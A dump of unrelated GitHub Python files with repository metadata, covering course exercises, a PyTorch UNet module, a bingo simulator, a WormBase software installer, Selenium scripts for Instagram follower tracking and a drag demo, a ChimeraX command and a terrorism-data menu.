1\nprint(date.today().year)\nif nMaioridade == 1:\n print('{} pessoas ainda nao atingiu a maioridade'.format(nMaioridade))\nelse:\n print('{} pessoas ainda nao atingiram a maioridade'.format(nMaioridade))","repo_name":"WhoisBsa/Curso-de-Python","sub_path":"2 - Estruturas de Controle/desafio 54, maioridade.py","file_name":"desafio 54, maioridade.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"11145276795","text":"import torch\nimport torch.functional as F\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\n\nclass preconv(nn.Module):\n\n def __init__(self, in_ch=3, out_ch=29):\n super().__init__()\n self.net1 = nn.Sequential(\n nn.Conv2d(in_ch, out_ch, kernel_size=7, padding = 3, stride =1 ),\n nn.InstanceNorm2d(out_ch),\n # nn.GroupNorm(num_groups=2, num_channels=out_ch),\n )\n self.relu = nn.PReLU()\n\n\n def forward(self, x):\n ip = x.clone()\n feat = self.net1(x)\n y1 = torch.cat([ip, feat], dim=1)\n y1 = self.relu(y1)\n return y1\n\n\nclass DoubleConv(nn.Module):\n \"\"\"\n Double Convolution and BN and ReLU\n (3x3 conv -> BN -> ReLU) ** 2\n \"\"\"\n\n def __init__(self, in_ch, out_ch, Pad = 1, Stride = 1):\n super().__init__()\n self.net1 = nn.Sequential(\n nn.Conv2d(in_ch, out_ch, kernel_size=3, padding=Pad, stride = Stride),\n nn.InstanceNorm2d(out_ch),\n # nn.GroupNorm(num_groups=2, num_channels=out_ch),\n nn.PReLU())\n self.net2 = nn.Sequential(nn.Conv2d(out_ch, out_ch, kernel_size=3, padding = 1, stride = 1),\n nn.InstanceNorm2d(out_ch),\n # nn.GroupNorm(num_groups=2, num_channels=out_ch),\n nn.PReLU(),\n )\n\n def forward(self, x):\n x1 = self.net1(x)\n x2 = self.net2(x1)\n return x1, x2\n\n\nclass TripleConv(nn.Module):\n\n def __init__(self, in_ch, out_ch):\n super().__init__()\n self.net1 = nn.Sequential(\n nn.Conv2d(in_ch, out_ch, kernel_size=3, padding=1, stride=2),\n nn.InstanceNorm2d(out_ch),\n # nn.GroupNorm(num_groups=out_ch //2, num_channels=out_ch),\n nn.PReLU())\n self.net2 = nn.Sequential(nn.Conv2d(out_ch, out_ch, kernel_size=3, padding =1, stride=1),\n nn.InstanceNorm2d(out_ch),\n # nn.GroupNorm(num_groups=out_ch //2, num_channels=out_ch),\n nn.PReLU(),\n )\n self.net3 = nn.Sequential(nn.Conv2d(out_ch, out_ch, kernel_size=3, padding = 1, stride=1),\n nn.InstanceNorm2d(out_ch),\n # nn.GroupNorm(num_groups=out_ch //2, num_channels=out_ch),\n nn.PReLU(),\n )\n\n def forward(self, x):\n x1 = self.net1(x)\n x2 = self.net2(x1)\n x3 = self.net3(x2)\n return x1, x2, x3\n\n\nclass Down(nn.Module):\n \"\"\"\n Combination of MaxPool2d and DoubleConv in series\n \"\"\"\n\n def __init__(self, in_ch, out_ch, Pad, Stride):\n super().__init__()\n self.net = nn.Sequential(\n # nn.MaxPool2d(kernel_size=2, stride=2),\n DoubleConv(in_ch, out_ch, Pad , Stride)\n )\n\n def forward(self, x):\n return self.net(x)\n\n\n# class Up(nn.Module):\n# \"\"\"\n# Upsampling (by either bilinear interpolation or transpose convolutions)\n# followed by concatenation of feature map from contracting path,\n# followed by double 3x3 convolution.\n# \"\"\"\n#\n# def __init__(self, in_ch, out_ch, bilinear=False):\n# super().__init__()\n# self.upsample = None\n# if bilinear:\n# self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)\n# else:\n# self.upsample = nn.ConvTranspose2d(in_ch, in_ch // 2, kernel_size=2, stride=2)\n# self.conv = DoubleConv(in_ch, out_ch)\n#\n# def forward(self, x1, x2):\n# x1 = self.upsample(x1)\n# # # Pad x1 to the size of x2\n# # diff_h = x2.shape[2] - x1.shape[2]\n# # diff_w = x2.shape[3] - x1.shape[3]\n# # x1 = F.pad(x1, [diff_w // 2, diff_w - diff_w // 2, diff_h // 2, diff_h - diff_h // 2])\n# # # Concatenate along the channels axis\n# x = torch.cat([x2, x1], dim=1)\n# return self.conv(x)\n","repo_name":"sreenithy/relight_unet","sub_path":"core/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4441839835","text":"from itertools import permutations\nimport re\nanswer = []\n\n# 계산해서 다시 리스트로 만드는 함수\ndef fuc(li,i):\n if len(li) == 3:\n return str(abs(eval(''.join(li))))\n idx = li.index(i)\n temp = li[:idx-1]\n temp.append(str(eval(str(li[idx-1])+str(li[idx])+str(li[idx+1]))))\n temp.extend(li[idx+2:])\n return temp\n\ndef solution(exp):\n # 연산자 우선순위 경우의수 \n t = list(permutations(['-','+','*']))\n \n # 숫자와 연산자 쪼개서 다시 담기\n nums = re.split('[\\-|\\*|\\+]',exp)\n opers = re.findall('[\\-|\\*|\\+]',exp)\n res = []\n for n,o in zip(nums,opers):\n res.append(n)\n res.append(o)\n res.append(nums[-1])\n #여기까지 수행하면 ['100', '-', '200', '*', '300', '-', '500', '+', '20'] 이런식으로 됨\n \n #우선순위 경우의수 다돌기\n for j in t:\n temp = res[:]\n for i in j:\n # 연산자가 있을때까지 수행\n while i in temp:\n temp = fuc(temp, i)\n # 결과값 담기\n answer.append(int(temp))\n # 최대값 반환\n return max(answer)","repo_name":"Jungle-Algorithm-Study/study","sub_path":"Week03/youngcheon/수식최대화.py","file_name":"수식최대화.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71126886272","text":"B_col = 0\nI_col = 1\nN_col = 2\nG_col = 3\nO_col = 4\nB = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]\nI = [16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]\nN = [31,32,33,34,35,36,37,38,39,40,41,42,43,44,45]\nG = [46,47,48,49,50,51,52,53,54,55,56,57,58,59,60]\nO = [61,62,63,64,65,66,67,68,69,70,71,72,73,74,75]\nfrom timeit import default_timer as timer\nimport numpy as np\n\nconfig = {\n 'win_by_row': False,\n 'win_by_column':False,\n 'win_by_diagonal':False,\n 'win_by_corners':False,\n 'win_by_all':True\n }\nclass Board(object):\n _numbers_as_list = []\n _numbers = []\n def __init__(self):\n self._numbers = self.generate()\n all = []\n for val in self._numbers:\n all = list(set(all + val))\n self._numbers_as_list = all\n # print(all)\n def to_td(self, numbers_as_bingo):\n td_numbers = []\n\n # for column in numbers_as_bingo:\n for i in range(len(numbers_as_bingo)):\n td_numbers.append([x[i] for x in numbers_as_bingo])\n\n return td_numbers\n def generate(self):\n import random\n from copy import deepcopy\n _b = deepcopy(B)\n _i = deepcopy(I)\n _n = deepcopy(N)\n _g = deepcopy(G)\n _o = deepcopy(O)\n \n #pick 5 from each but N pick 4\n b_choices = []\n i_choices = []\n n_choices = []\n g_choices = []\n o_choices = []\n \n for i in range(5):\n \n if i != 4:\n n_val = random.choice(_n)\n n_choices.append(n_val)\n _n.remove(n_val) \n \n b_val = random.choice(_b)\n b_choices.append(b_val)\n _b.remove(b_val)\n \n i_val = random.choice(_i)\n i_choices.append(i_val)\n _i.remove(i_val)\n \n g_val = random.choice(_g)\n g_choices.append(g_val)\n _g.remove(g_val)\n \n o_val = random.choice(_o)\n o_choices.append(o_val)\n _o.remove(o_val)\n \n \n b_choices.sort()\n i_choices.sort()\n n_choices.sort()\n # assign the free space to the center\n n_choices.insert(2, 0)\n \n g_choices.sort()\n o_choices.sort()\n nums_as_td_array = self.to_td([b_choices, i_choices, n_choices, g_choices, o_choices])\n return nums_as_td_array\n\n def set_numbers(self, numbers):\n if isinstance(numbers, list):\n self._numbers = numbers\n return True\n else:\n return False\n def mark_as_called(self, col, row):\n if self._numbers[row][col]== 0:\n return 'X' \n else:\n return self._numbers[row][col] \n def print_numbers(self):\n if self._numbers != {}:\n print('B - I - N - G - O')\n for i in range(5):\n print(f\"{self.mark_as_called(B_col, i)} {self.mark_as_called(I_col, i)} {self.mark_as_called(N_col,i)} {self.mark_as_called(G_col, i)} {self.mark_as_called(O_col, i)}\")\n else:\n print('No Numbers generated')\n def mark_number(self, val):\n if val in self._numbers_as_list:\n for i in range(5):\n if val in self._numbers[i]:\n index = self._numbers[i].index(val)\n self._numbers[i][index] = 0\n # self.print_numbers()\n return True\n return False\n def check_bingo(self):\n if config['win_by_row']:\n for i in range(5):\n if len(set(list(self._numbers[i]))) == 1:\n return True\n\n if config['win_by_column']:\n for i in range(5):\n lst = [item[i] for item in self._numbers]\n if len(set(lst)) == 1:\n return True\n\n if config['win_by_diagonal']:\n # check two diagonal possibilities\n # need [(0,0), (1,1),(2,2),(3,3),(4,4)] & [(0,4), (1,3), (2,2), (3,1) ,(4,0) ]\n lsta = []\n lstb = []\n max = len(self._numbers[0])\n for i in range(max):\n x = i\n y = max-(x+1)\n lsta.append(self._numbers[x][x])\n lstb.append(self._numbers[x][y])\n # = [item[y] for item in self._numbers]\n if len(set(lsta)) == 1 or len(set(lstb)) == 1:\n return True\n\n if config['win_by_corners']:\n # (0,0), (0, 4), (4, 0), (4,4))\n max = len(self._numbers[0])-1\n if self._numbers[0][B_col] == 0 and self._numbers[0][O_col] == 0 and self._numbers[max][B_col] == 0 and self._numbers[max][O_col] == 0:\n return True\n\n if config['win_by_all']:\n for i in range(5):\n for val in self._numbers[i]:\n if val != 0:\n return False\n return True\n\n return False\n\n # if set(self._numbers).length == 1:\n # return True\n # else:\n # return False\n def __str__(self):\n return f'{self._numbers}'\n\nclass Player(object):\n _board = None\n _name = ''\n def __init__(self, name='Test'):\n self._name = name\n self._board = Board()\n def mark_number(self, val):\n return self._board.mark_number(val)\n \n def check_bingo(self):\n return self._board.check_bingo()\n def __str__(self):\n return f'{self._name} ({str(self._board)})'\n \nclass Game(object):\n players = []\n all_numbers = []\n remaining_numbers = []\n called_numbers = []\n is_won = False\n turn_count = 0\n \n \n def __init__(self, player_count=0):\n self.players = []\n self.all_numbers = list(set(B + I + N + G + O))\n self.remaining_numbers = list(set(B + I + N + G + O))\n # print(self.all_numbers)\n confirm = False\n player_count = player_count\n # while not confirm:\n if player_count == 0:\n print('How many players?')\n player_count = int(input())\n # print('Is {player_count} players correct? y/n')\n # confirm_input = input()\n # if confirm_input == 'y':\n # confirm = True\n\n for i in range(player_count):\n # print(f'Enter player{i+1} name:')\n # name_input = input()\n # if name_input != '':\n confirm = True\n player = Player()\n # player = Player(name_input)\n self.players.append(player)\n \n def draw_number(self):\n import random\n return random.choice(self.remaining_numbers)\n def play(self):\n # start = timer()\n\n while not self.is_won:\n num = self.draw_number()\n self.called_numbers.append(num)\n self.remaining_numbers.remove(num)\n # print(f'Number drawn is: {num}')\n for player in self.players:\n marked = player.mark_number(num)\n if marked:\n # print(f'{player._name} has the number {num}!')\n self.is_won = player.check_bingo()\n \n # if self.is_won:\n # end = timer()\n # print(f'{end - start} seconds') # Time in seconds, e.g. 5.38091952400282\n # print(f'{player._name} called bingo! They won in {self.turn_count} moves. Against {len(self.players)} players!')\n \n self.turn_count +=1\n\n\n# ...\n# play()\ndef main():\n turn_counts = []\n start = timer()\n\n for game in range(10000):\n _game = Game(player_count=50)\n _game.play()\n turn_counts.append(_game.turn_count)\n \n end = timer()\n print(f'{end - start} seconds') # Time in seconds, e.g. 5.38091952400282\n print(f'Average number of turns to win a game of bingo is {np.average(turn_counts)}')\n\nmain()\n\n\n \n","repo_name":"decentrajack/Python","sub_path":"pybingo/bingo_algo.py","file_name":"bingo_algo.py","file_ext":"py","file_size_in_byte":7955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"86272337163","text":"import os\nimport shutil\nimport tarfile\nimport tempfile\nimport urllib.parse\nimport zipfile\nimport boto3 as aws\n\nimport click\n\nfrom . import artefact\nfrom . import config\nfrom . import github\nfrom . import log\nfrom . import notifications\nfrom . import root_command\nfrom . import util\n\nlogger = log.get_logger(__name__)\n\n\ndef abort(msg):\n util.echo_error(msg)\n raise click.Abort(msg)\n\n\ndef preliminary_checks():\n # check github release of wb pipeline is done\n # check that the az configuration file is present\n # warn if slack notifications are not to be sent (not configured)\n conf = config.parse()\n if not conf:\n abort( ' '.join([__package__,\n ' has not been configured, run: '\n '\"azanium configure\" to fix this']))\n ws_release_version = util.get_data_release_version()\n if not ws_release_version:\n abort('azanium configure has not been run')\n if not conf['sources'].as_bool('is_released'):\n abort('The wormbase-pipeline repo has not been tagged on github')\n if notifications.__name__ not in conf:\n warning_msgs = [\n 'Slack notifications are not enabled - integration has been disabled',\n 'It is safe to re-run the \"azanium configure\" command '\n 'after the current command exits, should you wish to '\n 'enable notifications']\n for warning_msg in warning_msgs:\n logger.warn(warning_msgs)\n util.echo_warning(warning_msg)\n\n\n@root_command.group(chain=True, invoke_without_command=True)\n@util.pass_command_context\ndef installers(ctx):\n \"\"\"Software installers for the WormBase database migration.\n\n All software will be installed under a common base path,\n as specified to the parent command.\n \"\"\"\n\n@installers.resultcallback()\ndef pipeline(installers, *args, **kw):\n for install_command in filter(callable, installers):\n install_command(*args, **kw)\n\n\n@installers.command(short_help='Installs the ACeDB \"tace\" binary')\n@util.option('-t', '--url-template',\n default=('ftp://ftp.sanger.ac.uk/pub/acedb/MONTHLY/'\n 'ACEDB-binaryLINUX_{version}.tar.gz'),\n help='URL for versioned ACeDB binaries')\n@artefact.prepared\ndef tace(context, afct, url_template=None):\n \"\"\"Installs the ACeDB \"tace\" binary program.\"\"\"\n version = afct.version\n url = url_template.format(version=version)\n pr = urllib.parse.urlparse(url)\n downloaded = util.ftp_download(pr.netloc,\n os.path.basename(pr.path),\n afct.download_dir,\n logger,\n initial_cwd=os.path.dirname(pr.path))\n local_path = downloaded[0]\n with tarfile.open(local_path) as tf:\n tf.extract('./tace', path=afct.install_dir)\n tace_path = os.path.join(afct.install_dir, 'tace')\n util.touch_dir(afct.install_dir)\n util.make_executable(tace_path, logger)\n return tace_path\n\n\n@installers.command(short_help='Installs datomic-free')\n@util.option('-t', '--obj-path-template',\n default='datomic-free/distro/datomic-free-{version}.zip',\n help='S3 object path template for Datomic Free version')\n@artefact.prepared\ndef datomic_free(context, afct, obj_path_template=None):\n \"\"\"Installs Datomic (free version).\"\"\"\n install_dir = afct.install_dir\n version = afct.version\n obj_path = obj_path_template.format(version=version)\n fullname = 'datomic-free-{version}'.format(version=version)\n local_filename = fullname + '.zip'\n download_path = os.path.join(afct.download_dir, local_filename)\n logger.info('Downloading and extracting {} to {}', fullname, install_dir)\n tmpdir = tempfile.mkdtemp()\n s3 = aws.client('s3')\n s3.download_file('wormbase', obj_path, download_path)\n with zipfile.ZipFile(download_path) as zf:\n zf.extractall(tmpdir)\n shutil.rmtree(install_dir)\n shutil.move(os.path.join(tmpdir, fullname), install_dir)\n util.touch_dir(install_dir)\n logger.info('Installed {} into {}', fullname, install_dir)\n logger.info('Setting environment variable DATOMIC_HOME={}', install_dir)\n bin_dir = os.path.join(install_dir, 'bin')\n for filename in os.listdir(bin_dir):\n bin_path = os.path.join(bin_dir, filename)\n util.make_executable(bin_path, logger, symlink_dir=None)\n os.chdir(install_dir)\n mvn_install = os.path.join('bin', 'maven-install')\n logger.info('Installing datomic via {}', os.path.abspath(mvn_install))\n mvn_install_out = util.local(mvn_install)\n logger.info('Installed datomic_free')\n logger.debug(mvn_install_out)\n return install_dir\n\n\n@installers.command(short_help='Installs pseudoace')\n@artefact.prepared\ndef pseudoace(context, afct, **kw):\n \"\"\"Installs pseudoace.\"\"\"\n download_dir = afct.download_dir\n install_dir = afct.install_dir\n tag = afct.version\n logger.info('Downloading pseudoace release {} from github', tag)\n dl_path = github.download_release_binary(\n 'WormBase/pseudoace',\n tag,\n to_directory=download_dir)\n tempdir = tempfile.mkdtemp()\n with tarfile.open(dl_path) as tf:\n tf.extractall(path=tempdir)\n archive_filename = os.path.split(dl_path)[-1]\n fullname = archive_filename.rsplit('.', 2)[0]\n tmp_src_path = os.path.join(tempdir, fullname)\n src_path = tmp_src_path.rstrip('-' + tag)\n os.rename(tmp_src_path, src_path)\n shutil.rmtree(install_dir)\n shutil.move(src_path, install_dir)\n util.touch_dir(install_dir)\n logger.info('Extracted {} to {}', archive_filename, install_dir)\n return install_dir\n\n\n@root_command.command('install', short_help='Installs everything')\n@util.pass_command_context\ndef install(context):\n \"\"\"Installs all software and data.\"\"\"\n # Invoke all commands via the install group command chain.\n # This has the same effect as if run on command line, e.g:\n # azanium installers datomic_free pseudoace tace\n preliminary_checks()\n ctx = click.get_current_context()\n install_cmd_names = sorted(installers.commands)\n orig_protected_args = ctx.protected_args[:]\n ctx.protected_args.extend(install_cmd_names)\n try:\n installers.invoke(ctx)\n finally:\n ctx.protected_args[:] = orig_protected_args\n attachments = []\n versions = util.get_deploy_versions()\n for name in install_cmd_names:\n version = versions[name]\n title = 'Installed {} (version: {})'.format(name, version)\n ts = os.path.getmtime(context.path(name))\n attachment = notifications.Attachment(title, ts=ts)\n attachments.append(attachment)\n return attachments\n","repo_name":"WormBase/db-migration","sub_path":"src/azanium/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":6699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34363863847","text":"#독살의 음모\n#고급문제해결 _몸풀기1\n\nimport random\n\nwine = [0] * 8\npoi = random.randint(0,7)\nwine[poi] = 1\n\ntest1 = wine[0] + wine[1]\ntest2 = wine[2] + wine[3]\ntest3 = wine[4] + wine[5]\ntest4 = wine[0] + wine[2] + wine[4] + wine[6]\n\nif test1 == 1 and test4 == 1:\n print(\"1번 와인\")\nelif test1 == 1 and test4 == 0 :\n print(\"2번 와인\")\nelif test2 == 1 and test4 == 1:\n print(\"3번 와인\")\nelif test2 == 1 and test4 == 0:\n print(\"4번 와인\")\nelif test3 == 1 and test4 == 1:\n print(\"5번 와인\")\nelif test3 == 1 and test4 == 0:\n print(\"6번 와인\")\nelif test4 == 1 and test1 == 0 and test2 == 0 and test3==0:\n print(\"7번 와인\")\nelse:\n print(\"8번 와인\")\n\n'''\n왕이 마실 8병 중 한병에 강력한 독, 한방울만 있어도 치명적\n섞여있으면 무조건 검출됨\n검사시간은 1시간이 걸리는데, 왕이 무조건 1시간 후에 와인을 마실테니 독이 든 병을 찾아내라는 명령내림\n최소 몇대의 검사장비가 있어야할까? (와인은 섞어서 검사가능하다)\n'''","repo_name":"kimssumin/algorithm","sub_path":"CS_plot.py","file_name":"CS_plot.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2958576529","text":"from selenium import webdriver\r\nimport time\r\nimport user_data as ud\r\nimport random\r\n\r\n\r\nclass Browser:\r\n def __init__(self, link):\r\n self.link = link\r\n self.browser = webdriver.Chrome()\r\n Browser.goInstagram(self)\r\n\r\n def goInstagram(self):\r\n self.browser.get(self.link)\r\n time.sleep(2)\r\n Browser.login(self)\r\n Browser.getFollowersFollowed(self)\r\n\r\n def getFollowersFollowed(self):\r\n self.browser.find_element_by_xpath(\r\n \"/html/body/div[2]/div/div/div[2]/div/div/div/div[1]/div[1]/div[2]/div[2]/section/main/div/header/section/ul/li[2]/a\").click()\r\n time.sleep(4)\r\n\r\n Browser.scrollDown(self)\r\n time.sleep(2)\r\n\r\n followersWeb = self.browser.find_elements_by_class_name(\r\n \"x9f619.xjbqb8w.x1rg5ohu.x168nmei.x13lgxp2.x5pf9jr.xo71vjh.x1n2onr6.x1plvlek.xryxfnj.x1c4vz4f.x2lah0s.x1q0g3np.xqjyukv.x6s0dn4.x1oa3qoh.x1nhvcw1\")\r\n\r\n followersList = []\r\n for follower in followersWeb:\r\n followersList.append(follower.text)\r\n time.sleep(3)\r\n\r\n self.browser.get(self.link + \"/\" + ud.username + \"/following\")\r\n time.sleep(5)\r\n\r\n Browser.scrollDown(self)\r\n time.sleep(2)\r\n\r\n followedWeb = self.browser.find_elements_by_class_name(\r\n \"x9f619.xjbqb8w.x1rg5ohu.x168nmei.x13lgxp2.x5pf9jr.xo71vjh.x1n2onr6.x1plvlek.xryxfnj.x1c4vz4f.x2lah0s.x1q0g3np.xqjyukv.x6s0dn4.x1oa3qoh.x1nhvcw1\")\r\n followedList = []\r\n for followed in followedWeb:\r\n followedList.append(followed.text)\r\n\r\n unfollowers = list(set(followedList) - set(followersList))\r\n\r\n with open(\"unfollewers.txt\", \"w\") as file:\r\n for unfollower in unfollowers:\r\n file.write(unfollower + \"\\n\")\r\n\r\n def scrollDown(self):\r\n jsCommand = \"\"\"\r\n page = document.querySelector(\"._aano\");\r\n page.scrollTo(0, page.scrollHeight);\r\n var endPage = page.scrollHeight;\r\n return endPage;\r\n \"\"\"\r\n endPage = self.browser.execute_script(jsCommand)\r\n while True:\r\n end = endPage\r\n time.sleep(2)\r\n endPage = self.browser.execute_script(jsCommand)\r\n if endPage == end:\r\n break\r\n if endPage < end:\r\n break\r\n\r\n def login(self):\r\n username = self.browser.find_element_by_name(\"username\")\r\n password = self.browser.find_element_by_name(\"password\")\r\n\r\n username.send_keys(ud.username)\r\n password.send_keys(ud.password)\r\n time.sleep(5)\r\n\r\n loginBtn = self.browser.find_element_by_css_selector(\r\n \"#loginForm > div > div:nth-child(3) > button > div\").click()\r\n time.sleep(8)\r\n\r\n ###########################################################\r\n # if you use two-factor authentication, enable the code in this field.\r\n # verificaitonCodeLink = self.browser.find_element_by_xpath(\r\n # \"/html/body/div[2]/div/div/div[1]/div/div/div/div[1]/section/main/div/div/div[1]/div[2]/form/div[4]/button\").click()\r\n # time.sleep(5)\r\n #\r\n # randomCode = random.choice(ud.backup_codes)\r\n # verificationCode = self.browser.find_element_by_name(\"verificationCode\").send_keys(randomCode)\r\n #\r\n # confirmBtn = self.browser.find_element_by_class_name(\"_acan._acap._acas._aj1-\").click()\r\n # time.sleep(8)\r\n ###########################################################\r\n\r\n self.browser.get(self.link + \"/\" + ud.username)\r\n time.sleep(5)\r\n","repo_name":"Hnturk/IgUnfollowerTracker","sub_path":"browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24306540268","text":"from tkinter import *\nimport tkinter as tk\n\nclass ImageIndexEdit:\n dir = '/Users/davidm/Library/Containers/com.david-murphy.Western-Wheelers-Quiz-Upload/Data/Documents/data'\n images = []\n descs = []\n index = 0\n root = tk.Tk()\n image_num = tk.StringVar()\n image_desc = tk.StringVar()\n\n def __init__(self):\n index_fle = open(self.dir + \"/index.txt\", \"r\")\n for line in index_fle:\n fields = line.split(', ')\n self.images.append(fields[0])\n self.descs.append(fields[2])\n index_fle.close()\n\n def show(self, num):\n img_file = self.dir + \"/\" + str(num) + \".png\"\n self.img_in = tk.PhotoImage(file=img_file)\n self.canvas.create_image(0, 0, anchor=tk.NW, image=self.img_in)\n\n def load_next(self):\n im = self.images[self.index]\n self.show(im)\n self.image_num.set(str(im))\n self.image_desc.set(self.descs[self.index])\n self.index += 1\n\n def load(self, num):\n #num = \"100090\"\n num = self.image_num.get()\n self.show(self.index, num)\n\n def delete(self):\n index_fle = open(self.dir + \"/index.txt\", \"r\")\n lines = []\n deleted = 0\n for line in index_fle:\n fields = line.split(', ')\n if fields[0] == self.image_num.get():\n deleted += 1\n continue\n lines.append(line)\n index_fle.close() \n print (\"Deleted:\", deleted)\n\n out_fle = open(self.dir + \"/index.txt\", \"w\")\n for line in lines:\n out_fle.write(line)\n out_fle.close()\n print(\"Wrote:\", len(lines))\n\n def run(self):\n\n self.canvas = tk.Canvas(self.root, width = 800, height = 800)\n self.canvas.pack()\n\n #self.image_num_entry = Entry(root, width=10)\n tk.Entry(self.root, textvariable=self.image_num, font=('calibre', 10, 'normal')).pack()\n\n btn2 = Button(self.root, text=\"load next\", command=self.load_next)\n btn2.pack()\n\n tk.Entry(self.root, textvariable=self.image_desc, font=('calibre', 10, 'normal')).pack()\n\n var = StringVar()\n var.set(\"----------------------\")\n label = Label(self.root, textvariable=var).pack()\n\n btn1 = Button(self.root, text=\"load image num\", command=self.load)\n btn1.pack()\n\n btn3 = Button(self.root, text=\"Delete image num\", command=self.delete)\n btn3.pack()\n\n self.canvas.pack()\n self.root.mainloop()\n\nImageIndexEdit().run()\n","repo_name":"DavidM1088/Western-Wheelers-Quiz_Pictures","sub_path":"BrowseImageIndex.py","file_name":"BrowseImageIndex.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11464117045","text":"from selenium import webdriver\nfrom time import sleep\nfrom selenium.webdriver import ActionChains\n\nurl='https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable'\ndriver=webdriver.Chrome()\n\ndriver.get(url)\n# 如果存在iframe标签之中要切换标签定位作用域\ndriver.switch_to.frame('iframeResult')\ndiv=driver.find_element_by_id('draggable')\n# 动作链\naction=ActionChains(driver)\n# 点击长按指定标签\naction.click_and_hold(div)\nfor i in range(5):\n action.move_by_offset(17,0).perform()\n sleep(0.3)\naction.release()\ndriver.quit()","repo_name":"qianfuzhuang/review","sub_path":"selenium/滑块移动.py","file_name":"滑块移动.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74936464190","text":"from chimerax.core.commands import Axis\n\ndef wobble(session, axis=Axis((0,1,0)), angle=30, frames=\"forever\", cycle=136,\n aspect=0.3, center=None, coordinate_system=None, models=None, atoms=None):\n '''\n Wobble the scene back and forth. Same as the turn command with infinite frames argument\n and angle 15 degrees and wobble (number of frames per cycle) equivalent to cycle option\n (default 136), and wobble_aspect equal to the aspect option (default 0.3).\n See turn documentation of other parameters.\n '''\n from .turn import turn\n turn(session, axis=axis, angle=angle, frames=frames, wobble=cycle, wobble_aspect=aspect,\n center=center, coordinate_system=coordinate_system, models=models, atoms=atoms)\n\n\ndef register_command(logger):\n from chimerax.core.commands import CmdDesc, register, AxisArg, FloatArg, PositiveIntArg\n from chimerax.core.commands import CenterArg, CoordSysArg, TopModelsArg\n from chimerax.atomic import AtomsArg\n from .turn import FramesArg\n desc = CmdDesc(\n optional= [('axis', AxisArg),\n ('angle', FloatArg),\n ('frames', FramesArg)],\n keyword = [('center', CenterArg),\n ('coordinate_system', CoordSysArg),\n ('cycle', PositiveIntArg),\n ('aspect', FloatArg),\n ('models', TopModelsArg),\n ('atoms', AtomsArg)],\n synopsis='move models in figure 8 motion'\n )\n register('wobble', desc, wobble, logger=logger)\n","repo_name":"RBVI/ChimeraX","sub_path":"src/bundles/std_commands/src/wobble.py","file_name":"wobble.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"60"} +{"seq_id":"20873417010","text":"\"\"\"\nCountries modules\n\"\"\"\n\n# Third-party libraries import\n# Custom modules import\nimport main as parent\nimport countries_frequency as frequency\nimport countries_success as success\n\n\ndef main(data):\n \"\"\" Main function with data \"\"\"\n print(\"***** Countries chart categories *****\")\n print(\"1) Frequency\")\n print(\"2) Success Rate\")\n print(\"\"\"Type \"BACK\" return to main menu\"\"\")\n print(\"\"\"Type \"EXIT\" to terminate program\"\"\")\n\n choice = input(\"Type number of chart which you want : \")\n\n if choice.lower() == \"exit\":\n parent.do_exit()\n if choice.lower() == \"back\":\n parent.menu_main(data)\n\n choice = int(choice)\n\n if choice == 1:\n country = get_country()\n frequency.main(data, country)\n elif choice == 2:\n country = get_country()\n success.main(data, country)\n else:\n print(\"\\n***** Invalid choice! ******\\n\")\n main(data)\n\n\ndef get_country():\n \"\"\" Get country id and validate \"\"\"\n country_list = [x for x in range(4, 239) if\n x not in [9, 13, 39, 48, 52, 82, 105, 131, 133, 135, 140, 148, 150, 154, 165, 169, 170, 171, 172,\n 187, 188, 191, 193, 194, 211, 212, 224, 225, 227, 228, 232, 234, 237]] + [334, 347, 349,\n 351, 359, 362,\n 377, 403, 406,\n 422, 428, 499,\n 520, 532, 603,\n 604, 605, 999,\n 1001, 1002,\n 1003, 1004]\n print(\"See country ID reference at https://github.com/wiput1999/TerrorismAnalysis\")\n country = int(input(\"Type country ID to generate your chart : \"))\n\n if country not in country_list:\n print(\"Invalid Country ID!\")\n get_country()\n\n return country\n","repo_name":"wiput1999/TerrorismAnalysis","sub_path":"countries_main.py","file_name":"countries_main.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"982088355","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('contacts', '0003_auto_20150425_2109'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='contact',\n name='body',\n field=models.CharField(default='body', max_length=1000),\n preserve_default=True,\n ),\n ]\n","repo_name":"kossoff/sugaringmos","sub_path":"project/adminka/contacts/migrations/0004_auto_20150517_1622.py","file_name":"0004_auto_20150517_1622.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36373657000","text":"import string\n\ndef load_words(file_name):\n\t'''\n\tfile_name (string): the name of the file containing\n\tthe list of words to load\n\n\tReturns: a list of valid words. Words are strings of lowercase letters.\n\n\tDepending on the size of the word list, this function may\n\ttake a while to 